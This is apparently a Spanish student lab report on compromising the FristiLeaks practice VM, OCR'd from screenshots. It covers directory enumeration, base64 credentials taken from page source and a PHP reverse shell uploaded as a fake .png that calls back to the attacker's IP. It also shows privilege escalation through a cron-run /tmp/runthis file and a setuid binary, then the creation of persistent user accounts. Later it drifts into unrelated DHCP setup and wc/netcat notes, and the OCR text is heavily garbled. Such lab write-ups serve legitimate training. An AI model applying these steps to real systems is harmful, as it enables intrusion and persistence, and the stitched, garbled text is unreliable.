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1. INTRODUCCION

En el campo de la ciberseguridad es fundamental contar con entornos que permitan
aprender y practicar de manera segura. FRISTILEAKS es una de esas plataformas disefiadas
con fines educativos, ya que simula un sitio web con vulnerabilidades intencionales para que los

usuarios puedan explorar, analizar y comprender como funcionan ciertos ataques informaticos.

se presenta como un recurso didactico disefiado para el aprendizaje en ciberseguridad. El
presente informe tiene como objetivo presentar de manera clara y sencilla qué es
FRISTILEAKS, cuales son sus usos principales y que beneficios puede aportar a quienes se

inician o desean profundizar en el mundo de la ciberseguridad.



2. OBJETIVOS
2.1 OBJETIVOS GENERAL

Identificar y analizar posibles vulnerabilidades en un servidor web mediante
técnicas de enumeracion y exploracién de directorios ocultos, con el fin de encontrar

puntos de acceso que permitan comprometer el sistema.

2.2 OBJETIVOS ESPECIFICOS

2.2.1 REALIZAR UN ESCANEO DE DIRECTORIOS

Utilizando herramientas como DIRB, con el proposito de descubrir rutas no visibles
directamente desde la pagina principal.

2.2.2 ANALIZAR LOS ARCHIVOS EXPUESTOS

En busca de informacion sensible o rutas restringidas que puedan dar acceso a

recursos ocultos.

2.2.3 ACCEDER A PORTALES ADMINISTRATIVOS

Esto para evaluar los mecanismos de autenticacion implementados.
2.2.4 INSPECCIONAR EL CODIGO FUENTE DE LAS PAGINAS

ENCONTRADAS

con el fin de localizar credenciales, comentarios o configuraciones expuestas por

error.

2.2.5 DOCUMENTAR LA METODOLOGIA Y HALLAZGOS

para sentar las bases de un posible proceso de explotacion y escalamiento de

privilegios posterior.



3. IDENTIFICACION Y ACCESO A LA PLATAFORMA FRISTILEAKS

Una vez identificada la direccion IP correspondiente al servicio FRISTILEAKS
dentro del entorno de practica, se procedio a ingresar a la aplicacion mediante un navegador
web. En este caso, la IP detectada fue 197.168.2.11, lo que permitio establecer

comunicacion con el servidor que aloja el portal vulnerable.

Al acceder a la pagina principal, se evidenci6 una interfaz sencilla con el lema
caracteristico KEEP CALM, acompariado de la etiqueta THE #FRISTILEAKS MOTTO.
Este aspecto inicial confirma la correcta conexion con el entorno y valida que el servicio

esta en funcionamiento.

OffSec KaliLinux & Kz ali Forums X Kali NetHunter Exploit-DB Google Hacking DB

llustracion 1 IDENTIFICACION Y ACCESO A LA PLATAFORMA FRISTILEAKS



4. ENUMERACION DE INFORMACION DEL SERVICIO

Una vez validado que la aplicacion web FRISTILEAKS se encuentra activa 'y
accesible, el siguiente paso consiste en realizar la enumeracion de informacion. Esta fase
tiene como proposito identificar caracteristicas técnicas y posibles vulnerabilidades del
servicio, con el fin de obtener un panorama mas claro del entorno y de las tecnologias que

lo soportan.

Para ello se emple6 la herramienta Nmap, utilizando el siguiente comando: NMAP -SV -P-

197.168.2.11

-

Starting Nmap 7.95 ( https://nmap.org ) at 5-09-04 1@:18 EDT
Nmap scan report for 197.

Host is up (¢

Not shown: 999 ed tcp ports (reset)

PORT STATE SERVICE VERSION

53/tcp filten omain

MAC Address: 52:54:00:12:35:80 (QEMU virtual NIC)

Host is up (¢
Not shown: 997 f
PORT STATE SER
C Open mMsSTPC
open microsoft-ds?
open

MAC Address: @ (QEMU virtual NIC)
ervice Info: 0S: is; CPE: cpe:/o:microsoft:windows

HD;T is up lt ; ;

All 1@ ] DOIT' on 197. e in 1gn01¢d states.
Not s 2 0 f ;

MAC Address: @

Nmap scan report for 197.16

Host is up (@ ).

Not shown: 99 red tcp ports (no-response), 12 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION

80/tcp open http Apache

MAC Address: @8: 2T ASARITE

Ilustracion 2 ENUMERACION DE INFORMACION DEL SERVICIO



5. DESCUBRIMIENTO DE DIRECTORIOS MEDIANTE DIRB
Después de haber identificado los servicios disponibles en el servidor, se procedié a

realizar un analisis de directorios ocultos dentro de la aplicacion web. Para este proposito se
utilizé la herramienta DIRB, la cual permite efectuar un ataque de fuerza bruta contra

URLS utilizando un diccionario de palabras.

El comando ejecutado fue el siguiente DIRB seguido de la ruta http://

197.168.2.11/images/keep-calm.png

El anélisis partid de la ruta /images/keep-calm.png con el objetivo de detectar

posibles recursos adicionales en dicho directorio.

£

http://197.168.2.11/images/keep-calm.png

DIRE w2
By The D

START_TIME: Thu Sep &4 1@:27:09 2025
URL_BASE: http://197.168.2.11/images/keep-calm.png/
WORDLIST_FILES: fusr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http://197.168.2.11/images/keep-calm.png/ ——

END_TIME: Thu 4 18:27:12 2025
DOWNLOADED: :

lustracion 3 DESCUBRIMIENTO DE DIRECTORIOS MEDIANTE DIRB



6. CORRECCION DE LA RUTA DEL DICCIONARIO
En esta fase se intentd acceder directamente al archivo common.txt utilizando el
comando cd, lo cual generd un error al no tratarse de un directorio sino de un archivo de
texto. Posteriormente, se corrigid la instruccion y se ingreso al directorio
/usr/share/dirb/wordlists/, donde se encuentran almacenados los diccionarios que

emplea la herramienta DIRB. Este procedimiento permitio confirmar la ubicacion correcta

de los recursos necesarios para continuar con la enumeracion de directorios.

fusr/share/dirb/wordlists/common.txt~
cd: no such file or directory: /usr/share/dirb/wordlists/common.txt~

— —[ -

fusr/share/dirb/wordlists/

Ilustracion 4 CORRECCION DE LA RUTA DEL DICCIONARIO

7. VALIDACION DEL DICCIONARIO DE DIRB
Tras haber ubicado la carpeta correcta, se procedio a visualizar el contenido del
archivo common.txt mediante el comando cat. Este archivo contiene nombres de archivos

y directorios frecuentemente presentes en aplicaciones web.

- /usr/share/dirb/wordlists
common.txt

.bash_history
.bashrc

.cache
.config
.CVS

.cvsignore
.forward

llustracion 5 VALIDACION DEL DICCIONARIO DE DIRB



8. ENUMERACION DE DIRECTORIOS CON DIRB

Una vez validado el diccionario y corregidas las rutas, se procedio a ejecutar un
escaneo de enumeracion de directorios sobre la raiz del sitio web http://192.168.2.11/

utilizando la herramienta DIRB.

-

http://197.168.2.11/

DIRE v2
By The Dark Raver

START_TIME: Thu
URL_BASE: http
WORDLIST FILES:

GENERATED WORDS: 4612

> DIRE( . g
: Jindex.html (CODE:
2.11/robots.txt (CODE:

(/197.168.2.11/images,;/, ——
{!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

END_TIME: Thu Se 4 1@:
DOWNLOADED: 4612 - FOUND:

llustracion 6 ENUMERACION DE DIRECTORIOS CON DIRB



9. EXPLORACION DEL DIRECTORIO /IMAGES/

Con base en los resultados obtenidos en la fase de enumeracion, se procedié a
acceder al directorio /images/. Dentro de este repositorio se encontré un archivo
denominado 3037440.jpg, el cual contenia un meme con ¢l texto ‘This is not the URL you

were looking for’.

(PNG Image, 600 x 70 X 197.168.2.11/index.htmlX  197.168.2.11/rob

orums o\ Kali NetHunter Exploit-DB Google Hacking DB

o g -’ ’
YOU WERE LOOKING ™
FOR =

K memegenerator.net

llustracion 7 EXPLORACION DEL DIRECTORIO /IMAGES/



10. ANALISIS DEL ARCHIVO /ROBOTS. TXT

Dentro del sitio web se localizo el archivo /robots.txt,el cual es utilizado
generalmente para indicar a los motores de busqueda qué rutas deben o no ser indexadas.
Sin embargo, desde el punto de vista de seguridad, este archivo puede revelar directorios

ocultos o sensibles que un atacante podria aprovechar para profundizar su exploracion.

User-agent: *
Disallow: /cola

Disallow: /sisi
Disallow: /beer

ILUSTRACION 8ANALISIS DEL ARCHIVO /ROBOTS.TXT

11. PORTAL DE ADMINISTRACION ‘FRISTILEAKS’
Durante la exploracion de directorios ocultos en el servidor, se accedio a la ruta

[fristi/, la cual contenia un portal de administracion denominado fristileaks admin portal.

El portal presenta una interfaz de autenticacion con campos para usuario y contrasefia,

sugiriendo que es un punto de entrada restringido.
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197.168.2.11/fristi/

& 197.168.2.11

' Kali Docs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Member Login
Username : | |

Password :[ ]

[ Login |

llustracion 9 PORTAL DE ADMINISTRACION ‘FRISTILEAKS’

12.INSPECCION DEL CODIGO FUENTE DE LA PAGINA /FRISTI/

Para la inspeccion se le da clic derecho dentro de la pagina mostrara algo como esto

le damos el INPECT

enshot

View Page Source

Inspect (Q)

llustracién 10 INSPECCION
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Esto lo hacemos con el fin de identificar posibles credenciales incrustadas o pistas
que permitan acceder al portal de administracién, se procedi6 a inspeccionar el codigo

fuente de la pagina /fristi/.

C @ O A& 197.168.2.11

Kali Linux 8 KaliTools « KaliDocs X Kali Forums X Kali Me

llustracion 11 INSPECCION DEL CODIGO FUENTE DE LA PAGINA /FRISTI
13. INSPECCION DE LOGIN

Para este paso se realizo la inspeccion del login eso para sacar el usuario y contrasefia
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C @ ) view-source: http://197.168.2.11/fristi/

OffSec Kali Linux 8 KaliTools = K ocs M Kali Forums e Kali NetHun

cription”

this up

1
2
3
.I':I.
5
6
7

w0

lustracion 12.INSPECCION DE LOGIN

Este cddigo aqui en base 64 aqui encontramos la contrasefia.

Ilustracion 13 CONTRASENA



14. DECODIFICANDO E INGRESANDO CON LAS CREDENCIALES
OBTENIDAS

Este paso identificar la contrasefia para poder acceder al login

n
|

« Kali Docs & Kali Forums X Kali NetHunter xploit-DB Google Hacking DB

Decode from Base64 format
Simply enter your data then push the decode button.

IVBORWOKGgoAAAANSUREUgAAAWOAAABLCAIAAAADAUHGAAAAAXNSROIAISACEQAAAARNQUIBAACK
JWYBYQUAAAAICENZCWAADSMAAATDACAVGGQAAARSSURBYHheTdIRdtsgEIVhrasLBngymmwmiokl
SOIAQG YONbO1/dWSQyTgdxz 215+ AcCHHAHgRY 4ABCIHAHIRIWCSYBEAXUQIACOYBIAXOQL AW
BAEWOAPAIRWBAKSMAVMgRAFTKC AAvcg SAFZKCwiscAeBFjgDwikcAe]EJALZIEQBeSAgALSke+
m63yaP7/XPSRUM2jx7iMz1ZdgpguZHPI+z)053b9+1gd/0TL2Wull5+RMpJg5tMTKE LpaHIvX 1]
Zv7/d5i60se0t9rWasUMsR1+WrORI72DbdWKGZSO0tMPgGISLR hzyWjWkTFDPXFmulC7e81bxnNOvh
DpYzOMNIWgpILSOw+0aXwomXXifhL Be6W-HrNdDFujoQNJISXbKtHMpSUMNIBSeGi51bUcr6W+VjNd
1IQjcelwepPCjILNXFpi8gktXfnVtYSdeUpINdPFCDIyKB3dyPLpSTVzZYnIR7ROWHEIFGVSNIDU
12qmCiLZz2ZWXilabli0alLgjZdg5sqSxUgtWY 7syq+uSUpINdOFelSENygbTii+gDbe+QpG9cs
uvFQzV5aM15LIyMrinrPU12gmC +Ucqd+g6ELINSX16/i/6BwEQzF5YM2ILhyMLz4sNNtp/pSkgl
04VajmwziEdZvmSz9ENY bzbl/F SycgVSzZiXDNmS4ciCni+kL RngizX ThUgOhEks02k5pGyD0al g
i1n+skSqGIOSIVSKC5Zva+XH36vQzbIoVOtarWhEEMyRaL Lp+Bbhy31k8SBhbjgpUNSHVjHXImC2Fg

@ For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.
UTF-8 ~ Source character set.

+ Decode each line separately (useful for when you have multiple entries).

llustracion 14 Decodificar

seguido de esto se ingresa con las credenciales obtenidas al login

Member Login

Username : |eezeepz |

Password : |kekkeKKeKKekkEKKEK |

[Login |
lustracion 15 INGRESO AL LOGIN
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Una vez lo guiado nos muestra el siguiente apartado para cargar los archivos el cual

indica que fue exitoso el ingreso al Loguin

O A 197.168.2.11

Kali Linux #& KaliTools = KaliDocs ¥ Kali Forums ex Kali NetHu

Login successful

upload file

lustracion 16 LOGIN SUCCESSFUL

15. COPIAR EL ARCHIVO PHP A LA RUTA ESTABLESIDA
Siguiendo los pasos ingresamos a la ruta /usr/share/webshells/php luego de esto

listamos el contenido de la ruta utilizando el comando Is -al seguido de esto copiamos el
archivo php-reverse-shell.php y creamos uno nuevo llamado Javier.php.png, y lo

editamos con el comando nano Javier.php.png

/home/kali
Jusr/share/webshells/php

fusr/share/webshells/php

ot root 4096 May 2 15:16

ot root 40896 May 2 5:19

ot root 40896 2

ot root 3 Nov 2@ php-backdoor. php
ot root ov php-rever

ot root y Nov 20 gsd-php-backd:
ot root 328 Nov 20 232 simple-backdoor.php

fusrfsharefwehshellsfphp
verse-shell.

fusr!share!wehshells!php

hir
J. PNE
H = 5

/usr/share/webshells/php

lustracion 17 COPIA DE ARCHIVO
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Siguiendo con la configuracion una vez ingresamos al archivo modificamos la

direccion de este y ponemos la direccién de nuestra maquina atacante $1P = 197.168.2.5

GNU nano 8.4 Javier.php.png *
me at pentestmonkeygpentestmonkey.net
Jescription

/ This sc

pt will make an outbound TCP connection to a hardcoded IP and port.
/ The recipient will be given a shell running as the current user (apache normally).

Limitations

if you get stuck.

S\ E’
$ip = . ! '/ CHANGE THIS|

$port HANGE THIS
$chunk_

lustracion 18 CONFIGURACION DEL ARCHIVO PHP

16. ACTIVACION DE EL MODO ESCUCHA
En este paso activamos el modo escucha para este puerto utilizando el

comando nc -lv 1234

/home/kali

on [any] 1234

Ilustracion 19 ACTIVACION DEL MODO ESCUCHA
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Una vez en la ventana que se inicia sesion apare el apartado llamado upload file
que es donde se va a subir el archivo php que se modificé con mi nombre con su respectivo

formato en png.

—

O & 197.168.2.11

Kali Linux #& KaliTools = KaliDocs M Kali Forums & Kali NetHunter

Login successful

[upload file|

lustracién 20 UPLOAD FILE

El paso a seguir es darle en Browse para buscar el archivo llamado Javier.php.png

después le daremos en Upload Image

Ty il
WO

-
1

197.168.2.11

Kali Linux # KaliTools « KaliDocs 3 Kali Forums e Kali NetHunter

Select image to upload:

I| Browse... | Javier.php.png ' Upload Image |I

llustracién 21 CARGO DE ARCHIVO

17. ACCESO AL MODO ESCUCHA
Una vez cargado el archivo aparecera un mensaje y la ruta donde se debera ingresar

y copiar lo siguiente /uploads en el url.
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< 3 O & 197.168.2.1

OffSec Kali Linux # KaliTools « KaliDocs ¥ Kali Forums ¢ Kali NetHunter

Uploading, please wait
The file has been uploaded toj/uploads |

lustracion 22 ACCESO AL MODO ESCUCHA

Seguido a esto ingresamos a la ruta y escribimos 0 agregamos a esta ruta el nombre

del archivo y nos queda de la siguiente manera http://197.168.2.11/fristi/uploads

/Javier.php.png. esto se realiza para poder activar el modo escucha.

O A 197.168.2.M

Kali Linux #8 KaliTools =« KaliDocs X Kali Forums & Kali NetHunter

WARNING: Failed to daemonise. This is quite common

lustracion 23 ARCHIVO EJECUTABLE

Como se evidencia el modo escucha ya fue activado.

/home/kali

64 GNU/Linux

uid=48(ap ) g ache) groups
sh: no job control in this shell
sh-4.1%

llustracion 24 ACCESO EXITOSO

18. CREACION DE ARCHIVO CON PRIVILEGIOS
Durante este paso se ingreso al apartado seguido de haber iniciado daremos un Is -al

para listar el contenido, esto lo hacemos con el objetivo


http://197.168.2.11/fristi/uploads%20/Javier.php.png
http://197.168.2.11/fristi/uploads%20/Javier.php.png
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de ingresar en home.

root 4096
root 4096
root
root
root
root

.autofsck
.autorelabel
bin

boot

dew

etc

home

lib

libe4
lost+found
media

mnt

opt

proc

root

sbin
selinux

STV

=
R0 IRV T N S
L5 s s = Y =

9

mohS g B

S
P
=
=

llustracion 25 COMANDO PARA LISTAR

Siguiendo con los pasos ingresaremos a home con el comando cd home, podemos
ver los usuarios y el usuario admin el cual necesitaremos acceder, pero ain no tenemos

permiso para acceder.

sh-4.1% cd home

cd home

sh-4.1$ 1s -al

1s -al

total 28

drwxr-xr-x. 5 root root 4096 Nov 19 2015 .
dr-xr-xr-x. 22 root root 4096 Sep 9 22:08 ..

drwx———. 2 admin admin 4096 Nov 19 2015 admin
drwx—r-x. 5 eezeepz eezeepz 12288 Nov 18 2015 eezeepz
drwx—— 2 fristigod fristigod 4096 Nov 19 2015 fristigod
sh-4.1% cd admin

cd admin

sh: cd: admin: Permission denied

sh-4.1% |}

lustracion 26 COMANDO PAR INGRESAR AL CD HOME
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Utilizamos el comando echo **/home/admin/chmod -R 777 /home/admin®* >
/tmp/runthis para crear un archivo temporal en la ruta tmp que guardara permisos de
lectura, escritura y ejecucion para el directorio admin en el cual necesitamos dar acceso

con las credenciales.

echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis
echo "/home/admin/chmod -R 777 /home/admin" > /tmp/runthis

sh-4.1$ |}

llustracién 27 ACCEDER A RUTA

Como se evidencia ya podemos acceder a la carpeta de admin con el comando cd
admin y encontramos archivos e informacion valiosa, seguido a esto listamos todas esta

informacion.

cd admin
sh-4.1% 1s -al
1ls -al
total 652
drwxrwxrwx.
drwxr-xr-x.
~TWXTWXTWX .
~TWXTWXTWX .
~TWXTWXTWX .
~TWXTWXTWX
~TWXTWXTWX
~TWXTWXTWX
~TWXTWXTWX
~TWXTWXTWX
~TWXTWXTWX
~TWXTWXTWX
~TWXTWXTWX
~TWXTWXTWX
~TWXTWXTWX
-rw-r—-r--
sh-4.1% |

admin admin 4096 .

root root 4096 .-

admin admin 18 .bash_logout
admin admin 176 .bash_profile
admin admin 124 .bashrc

admin admin 45224 cat

admin admin 48712 chmod

admin admin 737 cronjob.py
admin admin 21 cryptedpass.txt
admin admin 258 cryptpass.py
admin admin 90544 df

admin admin 24136 echo

admin admin 163600 egrep

admin admin 163600 grep

admin admin 85304 ps

fristigod fristigod 25 whoisyourgodnow. txt

2
5
1
1
1
1
1
1
1
1
1
1
1
1
1
1

lustracion 28 ACCEDER A LA INFO Y LISTAR



20

Usaremos el comando nano para crear nuestro codigo y después poder descifrarlo

en base64 con nano Stiwar.py

Jhome/kali

stiwar.py

llustracion 29 COMANDO NANO

Digitare el codigo para descifrar e importar las librerias de base64, cddecs estas
para que nos pueda descifrar con la estructura del codigo hecho en lenguaje de Python una
vez hacemos esto guardaremos con CTRL+ O, luego enter , Y .para finalizar utilizamos

CTRL + X, con eso ya tendriamos el archivo listo para descifrar.

File Actions Edit View Help

GNU nano 8.4 stiwar.py *
baseb4 ,codecs,sys

(str):
decode= codecs. decode(str[ :: -1], 'rotil3')

base64.b64decode(decode)

String(sys. argv[1])

ustracion 30 CODIGO PYTHON
19. DESCIFRANDO EL TEXTO DE BASE64

Luego de haber creado el archivo de Python para descifrar ingresaremos con el
comando de esta forma junto con el texto en base64 que se encontro anteriormente python
Stiwar.py =RFNOAKNLMHMPIzpyuTIOITG , luego de ejecutarlo este imprimira en

pantalla el contenido descifrado, tendremos la clave del usuario Fristigod
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fhome/kali
stiwar. py =E Fn@AKn LMHMPIZzpyuTIBITG
b"LetThereBeFristil!"

Jhome/kali

lustracion 31DESCIFRANDO EL TEXTO DE BASE64
20. CREACION DE ARCHIVO PYTHON PARA DESCIFRAR BASEG4

Observaremos el contenido de whoisyourgodnow.txt utilizando el comando
cat hoisyourgodnow.tx, en el cual se encuentra un texto en base64, al que vamos a

descifrar.

sh-4.1% cat whoisyourgodnow. txt

cat whoisyourgodnow. txt

=RFNOAKNIMHMPIzpyuTIQITG

sh-4.1% python -c '"import pty;pty.spawn("/bin/sh")
python -c 'import pty;pty.spawn("/bin/sh")"
sh-4.1%

lustracion 32 DESIFRADO DE TXT

Una vez que ya importamos una nueva shell intentaremos cambiar al ususario
fristigod y la contrasefia que desciframos con el comando su fristigod , luego pedira

ingresar la contrasefia para ingresar.

sh-4.1% su fristigod
su fristigod
Password: LetThereBeFristi!

bash-4.1$ |}

llustracion 33 USUARIO FRSTIGOD
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Ahora accedemos directamente en var y fristigod con el comando cd var/fristigod/
e listaremos el contenido con el comando Is -al este tiene una carpeta que muestra indicios
para ser root .secret_admin_stuff

bash-4.1$ cd var/fristigod/
cd var/fristigod/

bash-4.1% 1s -al

1s -al

total 16

drwxr-x— 3 fristigod fristigod 4096 Nov

drwxr-xr-x. 19 root root 4096 Nov .

-TW—— 1 fristigod fristigod 864 Nov .bash_history
drwxrwxr-x. 2 fristigod fristigod 4096 Nov .secret_admin_stuff
bash-4.1$ |}

llustracién 34 Is al
21. MODO ROOT EN FRISTILEAKS

En este apartado accederemos a la carpeta. secret_admin_stuff con el comando cd
.secret_admin_stuff , listaremos con Is -al en esta ruta encontraremos el archivo doCom el

cual tiene los privilegios elevados para ser root.

bash-4.1% cd .secret_admin_stuff
cd .secret admin stuff

bash-4.1% 1s -al

1ls -al

total 16

drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .
drwxr-x— 3 fristigod fristigod 4096 Nov 25 2015
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom
bash-4.1% |}
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Ahora para ejecutar este archivo ingresaremos el comando sudo -u fristi ./doCom
su root con este comando estaremos diciendo que usaremos los privilegios de root
mientras se ejecute ahora con el comando whoami podemos evidenciar que tipo de usuario

somos, podemos confirmar que son root.

bash-4.1% sudo -u fristi ./doCom su root
sudo -u fristi ./doCom su root
[sudo] password for fristigod: LetThereBeFristi!

[rootglocalhost .secret admin stuffH whoami
whoami

root

[root@localhost .secret_admin_stuffht |

22. CREACION DE USUARIO EN FRISTILEAKS

Para el primer usuario empezaremos creando un usuario con el comando useradd -
m Javier luego seleccionaremos el usuario para darle contrasefia con el comando sudo
passwd Javier pedira ingresa la nueva contrasefia, en mi caso sera Javier1234, los pasos
son miso que se realiz6 con el primer usuario se realizé con el segundo usuario que para
este caso el usuario creado es Stiwar y su pass 0 contrasefia asignada es Stiwar1234

como se puede evidenciar en la siguiente imagen.
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[root@localhost .secret_admin_stuffH sudo passwd Javier
sudo passwd Javier

Changing password for user Javier.

New password: Javierl234

Retype new password: Javierl234

passwd: all authentication tokens updated successfully.
[root@localhost .secret admin stuff Ht

[rootglocalhost .secret admin stuff B useradd -m Stiwar

useradd -m Stiwar

[root@localhost .secret_admin_stuffH sudo passwd Stiwar
sudo passwd Stiwar

Changing password for user Stiwar.

New password: Stiwarl234

BAD PASSWORD: it is too simplistic/systematic
Retype new password: Stiwarl234

passwd: all authentication tokens updated successfully.
[rootglocalhost .secret admin stuff H

lustracion 35 22. CREACION DE USUARIO EN FRISTILEAKS

Siguiendo los pasos, realizamos operaciones que implican el cambio de usuario y la
verificacion del usuario actual. Esto se demuestra a través de los siguientes comandos su
Javier este comando se utiliza para cambiar al usuario "Javier". Inicialmente, el usuario es

root
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[root@localhost .secret_admin_stuffl su Javier
su Javier

[Javier@localhost .secret_admin_stuffl]$ whoami
whoami

Javier

[Javierglocalhost .secret admin stuffl]$ su Stiwar

su Stiwar
Password: Stiwarl234

[Stiwar@localhost .secret_admin_stuffl]$ whoami
whoami

Stiwar

[Stiwar@localhost .secret_admin_stuff]$ |

lustracion 36 CAMBIAR MODO A LOS USUARIO

23. INSTALAR EL SERVIDOR DHCP
Abra una terminal y ejecute el siguiente comando para instalar el paquete del servidor

DHCP

:-$ sudo apt update
[sudo] contrasena para ubuntu:
Obj:1 http://co.archive.ubuntu.com/ubuntu noble InRelease
:2 http://co.archive.ubuntu.com/ubuntu noble-updates InRelease [126 kB]

http://security.ubuntu.com/ubuntu noble-security InRelease [126 kB]
http://co.archive.ubuntu.com/ubuntu noble-backports InRelease [126 kB]
http://co.archive.ubuntu.com/ubuntu noble-updates/main amd64 Packages [1.3

llustracién 37 INSTALAR EL SERVIDOR DHCP
24. COMANDO DE INSTALACION
Seguimos con la instalacion del servidor DHCP Esto se realiza mediante la

ejecucion de un comando en la terminal: Comando de instalacion: Se utiliza el comando

sudo apt install isc-dhcp-server.

sudo: Permite ejecutar el comando con privilegios de superusuario, necesarios para

instalar software en el sistema.
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apt: Es el gestor de paquetes de APT (Advanced Package Tool), utilizado para

manejar software en distribuciones Debian y Ubuntu.

install isc-dhcp-server: Indica que se desea instalar el paquete isc-dhcp-server, que

es el software que provee el servicio DHCP

$ sudo apt install isc-dhcp-server
[sudo] contrasena para ubuntu:
Leyendo lista de paquetes... Hecho
Creando arbol de dependenc ... Hecho
Leyendo la informacidén de ado... Hecho
> instalaran los siguientes paquetes adicionales:
dhcp-common
*aquetes sugeridos:
isc-dhcp-server-ldap policycoreutils
Se instalaran los siguientes paquetes NUEVOS:
isc-dhcp-common isc-dhcp rver
actualizados, 2 nuevos se instalaran, © para eliminar y 51 no actualizados.
Se necesita descargar 1.281 kB de archivos.
Se utilizaran 4.281 kB de espacio de disco adicional después de esta operacidn.
;Desea continuar? [S/n] s
des:1 http://co.archive.ubuntu.com/ubuntu noble/universe amdé64 isc-dhcp-server
64 4.4.3-P1-4ubuntu2 [1.236 kB]
http://co.archive.ubuntu.com/ubuntu noble/universe amdéd4 isc-dhcp-common
4.4.3-P1-4ubuntu2 [45,8 kB]
escargados 1.281 kB en 1s (2.072 kB/s)
*reconfigurando paquetes ...

llustracion 38 COMANDO DE INSTALACION

Aqui se estan realizando varias operaciones, principalmente relacionadas con la
creacion, edicién y manipulacion de archivos, asi como la gestion de permisos:
Creacion de archivos: Se intenta crear un archivo llamado dhep. conf utilizando el
comando touch.
Edicion de archivos con privilegios de superusuario: Se intenta editar un archivo de
configuracion de DHCP (/etc/defalt/dhcp.conf) utilizando el editor de texto nano con

permisos de super usuario (sudo).

$ touch dhcp.conf

$ sudo nano /etc/defalt/dhcp.conf

llustracion 39 CREACION DE ARCHIVOS
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La imagen evidencia una sesion de terminal en un sistema operativo Ubuntu
(probablemente en una maquina virtual VirtualBox, como indica el

prompt ubuntu@ubuntu-VirtualBox).

$ ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT
group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

2: enpOs3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP mo
de DEFAULT group default glen 1000
link/ether 08:00:27:3e:al1:a8 brd ff:ff:ff:ff:ff:ff
2=S

Para iniciar Nano y abrir un archivo existente o crear uno nuevo, abra su terminal y

escriba: nano [nombre_del_archivo]

Por ejemplo, para editar el archivo de configuracion de Netplan que se ve en la

imagen, usaria nano /etc/dhcp/dchpd.cont

sudo nano fetc/dhcp/dhcpd.conf

llustracion 40 PASO 1 NANO

GNU nano 7.2 fetc/dhcp/dhcpd.conf *

host dhcpd.conf {

llustracion 41 PASO 2 NANO
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El comando ip a se utiliza para mostrar las direcciones IP asignadas a las interfaces

de red, asi como otros detalles relacionados con la configuracion de red.

:-$ ip ad
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_Lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_1ft forever preferred_Llft forever

2: enpOs3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gqdisc fq_codel state UP group default glen 1600
link/ether 08:00:27:3e:a1:a8 brd ff:ff:ff:ff:ff:ff
inet 197.168.2.12/24 brd 197.168.2.255 scope global dynamic noprefixroute enp@s3
vatta_urt gossec preferred_Lft 463sec
inet6 feB80::a00:27ff:fe3e:a1a8/64 scope link
valid_1ft forever preferred_1ft foreve
~$

llustracién 42 IP ASIGNADA
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25. COMANDO PARA CONTAR LOS CARACTERES DE UN TEXTO

En sistemas Linux, el comando wc (word count) se utiliza para obtener estadisticas
de un archivo de texto. Este comando puede contar lineas, palabras, bytes y caracteres
dependiendo de las opciones usadas. En particular, la opcion -m permite conocer el
namero total de caracteres en un archivo, lo cual resulta atil para analisis de texto,
validacion de formatos o verificacion de contenido. También se puede decir que, para
contar el nimero de caracteres en un archivo, se usa la opcion -m (multibyte). Este
comando es parte de las GNU Core Utilities, un paquete de software fundamental para el

sistema operativo GNU (Free Software Foundation, Inc., 2024).

Comando, wc -m nombre_del_archivo.txt

26. COMANDOS Y TRANSFERENCIA DE ARCHIVOS CON NETCAT

Netcat, conocido como el "cuchillo suizo"” de la red, es una herramienta versatil para
leer y escribir datos a través de conexiones de red. Una de sus aplicaciones mas préacticas es
la transferencia de archivos entre dos maquinas, una funcionando como servidor y la otra
como cliente. Esta funcionalidad es parte de las GNU Core Utilities, un paquete de

software esencial para el sistema operativo GNU (Free Software Foundation, Inc., 2024).
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